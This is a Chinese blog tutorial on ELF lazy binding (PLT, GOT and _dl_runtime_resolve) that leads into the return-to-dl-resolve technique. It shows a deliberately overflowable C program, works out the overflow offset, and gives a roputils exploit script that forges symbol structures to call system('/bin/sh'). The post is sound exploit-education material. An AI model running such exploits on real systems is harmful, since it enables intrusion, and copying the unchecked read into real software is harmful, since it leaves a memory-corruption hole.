从lazy binding（延迟绑定） and return to dl-resolve

最新推荐文章于 2024-02-20 21:49:00 发布
最新推荐文章于 2024-02-20 21:49:00 发布
阅读量1k 收藏 1
点赞数
分类专栏： 系统调试 文章标签： 延迟绑定 dl_resolve
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_35519254/article/details/78287674
版权

先介绍lazy binding：

代码如下： 
#include <unistd.h>

int main()
{
    char buf[100];
    int size;
    read(0, &size, 4);
    read(0, buf, size);
    write(1, buf, size);
    return 0;
}
编译链接：需要在32位下，不要在64位下操作： gcc -fno-stack-protector bof.c -o bof
看一下程序的区段信息： 
yang@yang-virtual-machine:~/ctf$ readelf -S bof
共有 30 个节头，从偏移量 0x1178 开始：

节头：
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
。。。。。。。。。
  [ 5] .dynsym           DYNSYM          080481cc 0001cc 000060 10   A  6   1  4
  [ 6] .dynstr           STRTAB          0804822c 00022c 000050 00   A  0   0  1
。。。。。。。。。。
  [ 9] .rel.dyn          REL             080482a8 0002a8 000008 08   A  5   0  4
  [10] .rel.plt          REL             080482b0 0002b0 000020 08   A  5  12  4
  [11] .init             PROGBITS        080482d0 0002d0 000023 00  AX  0   0  4
  [12] .plt              PROGBITS        08048300 000300 000050 04  AX  0   0 16
。。。。。。
  [21] .dynamic          DYNAMIC         08049f14 000f14 0000e8 08  WA  6   0  4
  [22] .got              PROGBITS        08049ffc 000ffc 000004 04  WA  0   0  4
  [23] .got.plt          PROGBITS        0804a000 001000 00001c 04  WA  0   0  4
  [24] .data             PROGBITS        0804a01c 00101c 000008 00  WA  0   0  4
  [25] .bss              NOBITS          0804a024 001024 000004 00  WA  0   0  1
。。。。。
  [28] .symtab           SYMTAB          00000000 001628 000440 10     29  45  4
  [29] .strtab           STRTAB          00000000 001a68 00025f 00      0   0  1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings)
  I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
  O (extra OS processing required) o (OS specific), p (processor specific)
当在ELF文件中调用一个库函数时，因为库是动态加载的，所以库函数的地址也是不确定的，需要动态加载确定 。
比如调用read函数 ，一般程序汇编代码为： call write@plt
在区段中，重点是这三个区段：plt、rel.plt、got.plt，重点介绍下：
plt段包含一段代码，call的时候就是执行这段代码，rel.plt包含重定位时关于函数地址的结构体，got.plt包含函数的地址，如果是第一次调用函数时，got.plt中包含plt表的地址，以后调用函数时，该表中保存函数地址。

.rel.plt节是用于函数重定位，.rel.dyn节是用于变量重定位在.rel.plt中列出了链接的C库函数

符号信息： 
yang@yang-virtual-machine:~/ctf$ readelf -s bof

Symbol table '.dynsym' contains 6 entries:
   Num:    Value  Size Type    Bind   Vis      Ndx Name
     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND 
     1: 00000000     0 FUNC    GLOBAL DEFAULT  UND read@GLIBC_2.0 (2)
     2: 00000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__
     3: 00000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@GLIBC_2.0 (2)
     4: 00000000     0 FUNC    GLOBAL DEFAULT  UND write@GLIBC_2.0 (2)
     5: 0804854c     4 OBJECT  GLOBAL DEFAULT   15 _IO_stdin_used

Symbol table '.symtab' contains 68 entries:
   Num:    Value  Size Type    Bind   Vis      Ndx Name
     。。。。。。。。。。
    46: 00000000     0 FUNC    GLOBAL DEFAULT  UND read@@GLIBC_2.0
      。。。。。。。。。。。
    56: 00000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@@GLIBC_
    57: 00000000     0 FUNC    GLOBAL DEFAULT  UND write@@GLIBC_2.0
  。。。。。。。。。。。。
    63: 0804844d   100 FUNC    GLOBAL DEFAULT   13 main
    64: 00000000     0 NOTYPE  WEAK   DEFAULT  UND _Jv_RegisterClasses
    65: 0804a024     0 OBJECT  GLOBAL HIDDEN    24 __TMC_END__
    66: 00000000     0 NOTYPE  WEAK   DEFAULT  UND _ITM_registerTMCloneTable
    67: 080482d0     0 FUNC    GLOBAL DEFAULT   11 _init
dynamic段信息如下： 
yang@yang-virtual-machine:~/ctf$ readelf -d bof

Dynamic section at offset 0xf14 contains 24 entries:
  标记        类型                         名称/值
 0x00000001 (NEEDED)                     共享库：[libc.so.6]
。。。。。。。。。。。
 0x00000005 (STRTAB)                     0x804822c
 0x00000006 (SYMTAB)                     0x80481cc
 0x0000000a (STRSZ)                      80 (bytes)
 0x0000000b (SYMENT)                     16 (bytes)
。。。。。。。。。。。
 0x00000017 (JMPREL)                     0x80482b0
 0x00000011 (REL)                        0x80482a8
 0x00000012 (RELSZ)                      8 (bytes)
 0x00000013 (RELENT)                     8 (bytes)
。。。。。。。。。。。
yang@yang-virtual-machine:~/ctf$
几个结构体：
.dynamic节区结构体如下: 
typedef struct { 
Elf32_Sword d_tag; 
union { Elf32_Word d_val; Elf32_Addr d_ptr; } d_un;
 }
 Elf32_Dyn;
.rel.plt的结构体如下： 
typedef struct { 
Elf32_Addr r_offset; // 函数的真实地址
Elf32_Word r_info; // 符号表索引
} Elf32_Rel;
r_info要满足这样的条件： 
symtab+(r_info>>8)*0x10=sym_entry
r_info & 0xff = 0x7(对应于R_386_JUMP_SLOT)
.dynsym结构体定义： 
typedef struct{ 
Elf32_Word st_name; /* Symbol name (string tbl index) */ 
Elf32_Addr st_value; /* Symbol value */ 
Elf32_Word st_size; /* Symbol size */ 
unsigned char st_info; /* Symbol type and binding */ 
unsigned char st_other; /* Symbol visibility under glibc>=2.2 */ 
Elf32_Section st_shndx; /* Section index */
} Elf32_Sym;

对应着dynamic区段的symtab。


STRTAB中包含着对应的字符串： 
gdb-peda$ x/10s 0x804822c
0x804822c:	""
0x804822d:	"libc.so.6"
0x8048237:	"_IO_stdin_used"
0x8048246:	"read"
0x804824b:	"__libc_start_main"
0x804825d:	"write"
0x8048263:	"__gmon_start__"
0x8048272:	"GLIBC_2.0"
0x804827c:	""
0x804827d:	""
下边具体分析一下plt段的代码： 
yang@yang-virtual-machine:~/ctf$ objdump -d -j.plt bof

bof：     文件格式 elf32-i386


Disassembly of section .plt:

08048300 <read@plt-0x10>:
 8048300:	ff 35 04 a0 04 08    	pushl  0x804a004
 8048306:	ff 25 08 a0 04 08    	jmp    *0x804a008
 804830c:	00 00                	add    %al,(%eax)
	...

08048310 <read@plt>:
 8048310:	ff 25 0c a0 04 08    	jmp    *0x804a00c
 8048316:	68 00 00 00 00       	push   $0x0
 804831b:	e9 e0 ff ff ff       	jmp    8048300 <_init+0x30>

08048320 <__gmon_start__@plt>:
 8048320:	ff 25 10 a0 04 08    	jmp    *0x804a010
 8048326:	68 08 00 00 00       	push   $0x8
 804832b:	e9 d0 ff ff ff       	jmp    8048300 <_init+0x30>

08048330 <__libc_start_main@plt>:
 8048330:	ff 25 14 a0 04 08    	jmp    *0x804a014
 8048336:	68 10 00 00 00       	push   $0x10
 804833b:	e9 c0 ff ff ff       	jmp    8048300 <_init+0x30>

08048340 <write@plt>:
 8048340:	ff 25 18 a0 04 08    	jmp    *0x804a018
 8048346:	68 18 00 00 00       	push   $0x18
 804834b:	e9 b0 ff ff ff       	jmp    8048300 <_init+0x30>
可以看出plt段起始地址 对应dl_runtime_resolve函数

还是以函数read举例，当调用函数read时，执行call read@plt,跳到地址8048310处执行。 
gdb-peda$ x/wx 0x804a00c
0x804a00c <read@got.plt>:	0x08048316

gdb-peda$ x/20wx 0x0804a000 
0x804a000:	0x08049f14	0xb7fff938	0xb7ff24f0	0x08048316
0x804a010 <__gmon_start__@got.plt>:	0x08048326	0xb7e2f990	0x08048346	0x00000000
0x804a020:	0x00000000	0x00000000	0x00000000	0x00000000
0x804a030:	0x00000000	0x00000000	0x00000000	0x00000000
0x804a040:	0x00000000	0x00000000	0x00000000	0x00000000
可以看到刚开始read@got.plt中保存的是read@plt+0x6的地址，所以调到地址0x8048316处继续执行。
先将got+4入栈，在调用*(got+0x8)处的函数

注意got.plt表的前三项有特殊意义：第一项是.dynamic段的地址，第二个是link_map的地址，第三个是_dl_runtime_resolve函数的地址，第四项开始就是函数的GOT表了。

函数_dl_runtime_resolve的定义： _dl_runtime_resolve(link_map, rel_offset)
_dl_runtime_resolve则会完成具体的符号解析，填充结果，和调用的工作。

根据rel_offset，找到重定位条目：
Elf32_Rel * rel_entry = JMPREL + rel_offset;

JMPREL（ 对应 rel.plt）可以通过以下命令获取：
yang@yang-virtual-machine:~/ctf$ readelf -d bof | grep JMPREL
0x00000017 (JMPREL) 0x80482b0

gdb-peda$ x/2wx 0x80482b0
0x80482b0: 0x0804a00c 0x00000107

根据rel_entry中的符号表条目编号，得到对应的符号信息：
Elf32_Sym *sym_entry = SYMTAB[ELF32_R_SYM(rel_entry->r_info)];
我们知道在找到Elf32_Rel结构体后，会通过r_info >> 8得到Elf32_Sym结构体的位置

#define ELF32_R_SYM(val) ((val) >> 8)

这样，rel_entry->r_info=0x107 ELF32_R_SYM(rel_entry->r_info)=0x107>>8=1 也就是索引为1 索引从0开始

所以SYMTAB[1]表示索引为1，也就是symtab+0x10

r_info 
yang@yang-virtual-machine:~/ctf$ readelf -d bof | grep SYM
 0x00000006 (SYMTAB)                     0x80481cc
 0x0000000b (SYMENT)                     16 (bytes)
 0x6ffffff0 (VERSYM)                     0x804827c
gdb-peda$ x/5wx 0x80481dc  （sym_entry）
0x80481dc:	0x0000001a	0x00000000	0x00000000	0x00000012
0x80481ec:	0x00000037
再找到符号信息中的符号名称：
char *sym_name = STRTAB + sym_entry->st_name; 

yang@yang-virtual-machine:~/ctf$ readelf -d bof | grep STR
 0x00000005 (STRTAB)                     0x804822c
 0x0000000a (STRSZ)                      80 (bytes)
gdb-peda$ x/s 0x804822c+0x1a
0x8048246: "read"
根据函数名字，搜索动态库。找到地址后，填充至.got.plt对应位置。最后调整栈，调用这一解析得到的函数。

return to dl-resolve：
利用原理就是在用户可以控制的区域内，布置几个结构体，包括rel.plt，SYMTAB这几个相关的结构体，数据设置为自己的数据，最后调用到自己要执行的函数。

看一下用roputils模块写的exp： 
from roputils import *
fpath = './pwn200'
offset = 112
rop = ROP(fpath)
addr_bss = rop.section('.bss') #获得bss节的地址
buf = rop.retfill(offset) #填充112个字符
buf += rop.call('read', 0, addr_bss, 500) #调用read函数,将数据读取到add_bss地址处
buf += rop.dl_resolve_call(addr_bss+20, addr_bss) #调用dl_resolve函数，执行addr_bss+20的函数，参数在addr_bss处。

target = Proc(rop.fpath)
target.write(p32(len(buf))) 
target.write(buf)
print target.read(len(buf))
buf = rop.string('/bin/sh')  #从此往下都是读取的数据，此处是函数参数，从此开始也是我们控制布置数据的区域
buf += rop.fill(20, buf)  填充20大小
buf += rop.dl_resolve_data(addr_bss+20, 'system') #通过伪造system获得其地址
buf += rop.fill(500, buf)
target.write(buf)
target.interact(0)
看一下文章开头的源代码对应的汇编代码： 
.text:0804844D                               ; __unwind {
.text:0804844D 55                                            push    ebp
.text:0804844E 89 E5                                         mov     ebp, esp
.text:08048450 83 E4 F0                                      and     esp, 0FFFFFFF0h
.text:08048453 83 C4 80                                      add     esp, -80h
.text:08048456 C7 44 24 08 04 00 00 00                       mov     dword ptr [esp+8], 4 ; nbytes
.text:0804845E 8D 44 24 18                                   lea     eax, [esp+80h+buf]
.text:08048462 89 44 24 04                                   mov     [esp+4], eax    ; buf
.text:08048466 C7 04 24 00 00 00 00                          mov     dword ptr [esp], 0 ; fd
.text:0804846D E8 9E FE FF FF                                call    _read
.text:08048472 8B 44 24 18                                   mov     eax, [esp+18h]
.text:08048476 89 44 24 08                                   mov     [esp+8], eax    ; nbytes
.text:0804847A 8D 44 24 1C                                   lea     eax, [esp+80h+var_64]
.text:0804847E 89 44 24 04                                   mov     [esp+4], eax    ; buf
.text:08048482 C7 04 24 00 00 00 00                          mov     dword ptr [esp], 0 ; fd
.text:08048489 E8 82 FE FF FF                                call    _read
.text:0804848E 8B 44 24 18                                   mov     eax, [esp+18h]
.text:08048492 89 44 24 08                                   mov     [esp+8], eax    ; n
.text:08048496 8D 44 24 1C                                   lea     eax, [esp+80h+var_64]
.text:0804849A 89 44 24 04                                   mov     [esp+4], eax    ; buf
.text:0804849E C7 04 24 01 00 00 00                          mov     dword ptr [esp], 1 ; fd
.text:080484A5 E8 96 FE FF FF                                call    _write
.text:080484AA B8 00 00 00 00                                mov     eax, 0
.text:080484AF C9                                            leave
.text:080484B0 C3                                            retn
.text:080484B0                               ; } // starts at 804844D
.text:080484B0                               main            endp
再看一下伪代码： 
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [esp+18h] [ebp-68h]
  char v5; // [esp+1Ch] [ebp-64h]

  read(0, &buf, 4u);
  read(0, &v5, *(size_t *)&buf);
  write(1, &v5, *(size_t *)&buf);
  return 0;
}
虽然此时是 
char v5; // [esp+1Ch] [ebp-64h]
我们普遍认为覆盖到溢出点需要0x64+4
但是因为 
.text:08048450 83 E4 F0                                      and     esp, 0FFFFFFF0h
这段汇编代码的影响（将esp 和0xfffffff0 与操作，导致esp的末位被置零，而这里esp末位是8，所以相当于esp-0x8），所以覆盖到溢出点需要0x64+0x8+0x4=0x70

64位调用roputils： https://blog.csdn.net/guiguzi5512407/article/details/52752914 （栈溢出利用之return to dl-resolve实例） 但是没有成功
相关链接：
https://github.com/inaz2/roputils

qq_35519254
关注
专栏目录
Vue源码分析——第三章
Lee的博客
09-10 590
Vue源码分析——第一章 Vue源码分析——第二章 // only used in dev mode //检测 val必需是数字 function checkDuration(val, name, vnode) { if (typeof val !== 'number') { warn( "<transition> explicit " + name + " duration is not a valid number - " + "got " + ...
dl动态链接文件函数
北唐盛世
05-29 6758
名称 dladdr, dlclose, dlerror, dlopen, dlsym, dlvsym - programming interface to dynamic linking loader dladdr，dlclose，dlerror，dlopen的，则dlsym，dlvsym - 编程接口以动态连接装载机 Synopsis简介 #include dlfcn.h >＃
c# 实现延迟
qq_39624238的博客
02-19 530
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace ConsoleApp33 { class Program { static void Main(string[] ...
Mach-O 的动态链接（Lazy Bind 机制）
weixin_30483697的博客
12-12 103
➠更多技术干货请戳：听云博客 动态链接 要解决空间浪费和更新困难这两个问题最简单的方法就是把程序的模块相互分割开来，形成独立的文件，而不再将它们静态的链接在一起。简单地讲，就是不对那些组成程序的目标文件进行链接，等到程序要运行时才进行链接。也就是说，把链接过程推迟到了运行时再进行，这就是 _动态链接（Dynamic Linking）_的思想。 延迟绑定（PLT） 动态链接比静态链接性能低，...
plt表、got表与延迟绑定（Lazy Binding）
qq_36963214的博客
11-09 1317
准备 实验环境 Ubuntu-Desktop 18.04 $ uname -a Linux ubuntu 5.4.0-48-generic #52~18.04.1-Ubuntu SMP Thu Sep 10 12:50:22 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux so.2.27 源码 源码程序如下，我将其命名为plt.c #include<stdio.h> int main() { puts("learning plt and got!\n");
延迟绑定（pwn第三课）
最新发布
s5555555___的博客
02-20 895
xo.01 延迟绑定原理延迟绑定(Lazy Binding)是动态链接器用来减少程序启动时间的一种技术。延迟绑定就是在函数第一次被调用的时候再和函数地。xo.02 plt表和got表got表和plt表都是程序调用外部函数时，定位该函数需要使用到的表。got表(Global Offset Table)是全局偏移量表，这是链接器在执行链接时需要填充的部分，保存了所有外部符号的地址信息。
使用反射实现延迟绑定
weixin_34221073的博客
01-08 153
反射允许我们在编译期或运行时获取程序集的元数据，通过反射可以做到：● 创建类型的实例● 触发方法● 获取属性、字段信息● 延迟绑定...... 如果在编译期使用反射，可通过如下2种方式获取程序集Type类型：1、Type类的静态方法Type type = Type.GetType("somenamespace.someclass");   2、通过typeofType type = typeof(...
栈溢出利用之return to dl-resolve payload 构造原理(一)
M021的专栏
11-02 3337
前段时间，学习了return to dl-resolve 方法，并且分别在32位应用和64位应用上实践了一番，现记录下我的学习心得。
Linux动态链接库函数加载之GOT与Lazy Binding
ElvisHuang的博客
08-03 2489
Linux在运行与位置无关PIC(Position IndependentCode)的用户态程序并加载动态链接库时，函数符号的解析过程将涉及到全局偏移量表GOT(Global Offset Table)与Lazy Binding("懒绑定")。   在位置无关代码PIC中一般不能包含动态链接库中符号的绝对地址。当运行某个调用动态库函数符号的用户态程序时，用户态程序在编译链接阶段并不知晓该符号的
Vue 08使用v-model实现计算器
mqingo的博客
01-02 608
08使用v-model实现计算器.html &lt;!DOCTYPE html&gt; &lt;html&gt; &lt;head&gt; &lt;meta charset="UTF-8"&gt; &lt;title&gt;08使用v-model实现计算器&lt;/title&gt; &lt;script type="text/javascript&quot
PWN入门之简析延迟绑定技术
weixin_45986910的博客
08-18 378
对于延迟绑定技术还是不太了解适宜看一下这篇文章 延迟绑定绑定技术就是Linux下ELF程序在调用函数时动态链接的方式。为了优化内存，加快运行速度等等原因，ELF程序运用了这样的技术来调用函数。 简单的说就是程序在调用函数时先jmp fun@plt 进入plt表。接着jmp fun@got，这时候的got表中并没有存储函数真实的地址。程序到这里需要调用_dl_runtime_resolve这个函数。通过这个函数再填充got表然后在下一次调用fun的时候进入真正的函数地址。 下面的划重点 _dl_runtime
程序的动态链接（3）：延迟绑定
Aspiresky的专栏
08-02 2400
概述 动态链接将链接工作由编译时推迟到了运行时，在每次程序运行时，动态链接器都要寻找并加载依赖的动态库，然后进行符号查找和重定位工作，这导致动态链接的程序在加载时会带来一些额外的开销。为了提升程序的加载速度，编译系统使用了一种称为延迟绑定（Lazy Binding）的技术。 延迟绑定实现 使用延迟绑定是基于这样一个前提：在动态链接下，程序加载的模块中包含了大量的函数调用，因此动态链接器会耗费很多的时间用于解决模块之间的函数引用的符号查找以及重定位，而实际上只有很少的一部分符号会被立刻访问。延迟绑定通过将函数
PWN学习day2——plt、got表+动态延迟绑定
qq_44657899的博客
06-27 485
执行过程:call库函数首先会跳转到plt条目的第一条指令处将got表中偏移压入栈中，并跳转到解析地址的代码片段解析完成后跳转去执行库函数并把实际地址写入got表。
动态链接 lazy binding 的原理与 GOT 表的保留表项
龙瑜的博客
11-11 1243
前言 我最近对动态库的实现非常好奇，自己琢磨了半天没有看出什么名堂，就想着能不 能找到一本讲相关内容的书籍，网上搜索了下发现确实有这样的一本书，书名为 《Linux 二进制分析》。 动态库的工作原理从这本书中能够找到解答，在本文中，我将使用下面这个 hello 程序来验证。 #include <stdio.h> int main(int argc, char* argv[]) { printf("hello world\n"); return 0; } 第一个问题：printf 函数调用
ELF链接原理
Starr
03-15 573
文章目录1. 示例代码2. 静态链接链接过程静态链接库3. 动态链接PICGOT与PLT延迟绑定Lazy Binding 1. 示例代码 // main extern int g_nShared; extern void func(int *a, int *b) ; void main(void) { int n = 2; func(&n, &g_nShared); } // func.c #include<stdio.h> int g_nShared
动态链接概述
qq_45378738的博客
06-25 1271
静态链接是由链接器在链接时将库/模块的内容加入到可执行程序中。静态链接使得不同的程序开发者和部门能够相对独立开发和测试自己的程序模块，从某种意义上来讲大大促进了程序开发的效率，原先限制程序的规模也随之扩大。但是慢慢地，静态链接的诸多缺点也暴露出来，比如浪费内存和磁盘空间，模块更新困难等问题。想象一下每个程序内部除了都保留 ， 等公用函数外，还引用了很多的其他库函数。在现代的程序中，一个普通程序可能用到 1MB 的静态库，那么如果我们的机器中运行 100 个同样的程序，就要重复近 99 MB 的内存，高达 9
GCC 配置选项简介
ivan240的专栏
03-12 3415
http://hi.baidu.com/xxkln/blog/item/bd1e762393ab4f599922ed47.html  GCC 配置选项简介2010年03月04日 星期四 09:35Glibc 安装指南(适用于2.3/2.4/2.5/2.6/2.7)编译前的预备知识与要点提示Glibc-2.3.6 建议使用 GCC-4.0 编译，G
android linker 浅析
热门推荐
dinuliang的专栏
04-20 3万+
  Android 的加载/链接器linker 主要用于实现共享库的加载与链接。它支持应用程序对库函数的隐式和显式调用。对于隐式调用，应用程序的编译与静态库大致相同，只是在静态链接的时候通过--dynamic-linker /system/bin/linker 指定动态链接器，（该信息将被存放在ELF文件的.interp节中，内核执行目标映像文件前将通过该信息加载并运行相应的解释器程序linke
linker截获API调用
08-06 1420
后文的方法未考证，感觉行不通，部分方法可以借鉴。 Android 的加载/链接器linker 主要用于实现共享库的加载与链接。它支持应用程序对库函数的隐式和显式调用。对于隐式调用，应用程序的编译与静态库大致相同，只是在静态链接的时候通过--dynamic-linker /system/bin/linker 指定动态链接器，（该信息将被存放在ELF文件的.interp节中，内核执行目标映像文件前将
Failed to resolve directive: lazy
05-30
具体来说，"Failed to resolve directive: lazy"可能表示你的项目中缺少了一些用于加载组件的依赖库。你可以尝试检查你的项目依赖是否齐全，或者在你的项目中添加相应的依赖库。 如果我的猜测不正确，请提供更多的...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值